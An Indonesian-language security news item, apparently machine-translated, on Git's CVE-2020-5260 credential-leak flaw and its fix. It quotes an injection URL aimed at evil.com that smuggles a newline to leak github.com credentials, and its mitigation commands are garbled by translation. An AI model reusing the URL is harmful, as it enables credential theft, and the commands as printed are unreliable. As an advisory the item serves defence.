Kerentanan kebocoran kredensial Git

Diterbitkan rilis korektif dari sistem kontrol sumber terdistribusi Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 dan 2.17.4, di yang dihilangkan kerentanan (CVE-2020-5260) di pengendali "kredensial.helper", yang menyebabkan kredensial dikirim ke host yang salah ketika klien git mengakses repositori menggunakan URL berformat khusus yang berisi karakter baris baru. Kerentanan dapat digunakan untuk mengatur kredensial dari host lain untuk dikirim ke server yang dikendalikan oleh penyerang.

Saat menentukan URL seperti β€œhttps://evil.com?%0ahost=github.com/”, pengendali kredensial saat menyambung ke host evil.com akan meneruskan parameter autentikasi yang ditentukan untuk github.com. Masalah terjadi ketika melakukan operasi seperti "git clone", termasuk memproses URL untuk submodul (misalnya, "git submodule update" akan secara otomatis memproses URL yang ditentukan dalam file .gitmodules dari repositori). Kerentanan paling berbahaya terjadi ketika pengembang mengkloning repositori tanpa melihat URL-nya, misalnya saat bekerja dengan submodul, atau dalam sistem yang melakukan tindakan otomatis, misalnya, dalam skrip pembuatan paket.

Untuk memblokir kerentanan di versi baru dilarang meneruskan karakter baris baru dalam nilai apa pun yang dikirimkan melalui protokol pertukaran kredensial. Untuk distribusi, Anda dapat melacak rilis pembaruan paket di halaman Debian, Ubuntu, RHEL, SUSE/bukaSUSE, Fedora, Lengkungan, FreeBSD.

Sebagai solusi untuk memblokir masalah tersebut direkomendasikan Jangan gunakan credential.helper saat mengakses repositori publik dan jangan gunakan "git clone" dalam mode "--recurse-submodules" dengan repositori yang tidak dicentang. Untuk sepenuhnya menonaktifkan penangan credential.helper, yang berfungsi preservasi dan mengambil kata sandi dari cache, dilindungi tempat penyimpanan atau file dengan kata sandi, Anda dapat menggunakan perintah:

git config --batalkan kredensial.helper
git config --global --batalkan kredensial.helper
git config --system --unset kredensial.helper

Sumber: opennet.ru

Tambah komentar